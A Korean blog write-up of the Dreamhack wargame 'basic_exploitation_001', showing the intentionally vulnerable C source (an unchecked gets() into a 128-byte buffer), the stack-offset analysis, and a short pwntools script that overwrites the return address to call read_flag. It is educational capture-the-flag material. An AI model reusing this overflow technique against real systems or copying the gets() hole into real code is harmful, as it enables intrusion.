[드림핵 시스템 해킹] Wargame : basic_exploitation_001

asdf·2025년 1월 8일

pwnable

목록 보기
8/36
post-thumbnail

문제


32비트 아키텍처임을 알 수 있습니다.

풀이


취약점 분석

먼저 문제에서 제공한 파일인 basic_exploitation_001.c부터 살펴보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

read_flag 함수를 통해 플래그를 출력할 수 있어 보입니다. main 함수에서 gets를 사용하고 있으므로 return address를 read_flag로 변경하면 되는 단순한 문제인 것 같습니다.

스택 프레임 구조 파악

pwndbg로 basic_exploitation_001을 실행해 보겠습니다.

buf의 크기가 0x80임을 알 수 있고 SFP가 4바이트 이므로 buf부터 return address까지의 거리가 0x84 바이트임을 알 수 있습니다.

익스플로잇 실행

payload에 더미 데이터를 0x84 바이트만큼 채운 후 return address에 read_flag의 주소를 넣으면 해결할 수 있습니다. pwndbg에서 print read_flag를 통해 주소를 얻어보겠습니다.

다음은 완성된 코드입니다.

from pwn import *

p = remote("host1.dreamhack.games", 21882)

payload = b'A' * 0x84
payload += p32(0x80485b9)

p.sendline(payload)
p.interactive()

코드를 실행하여 플래그를 얻었습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글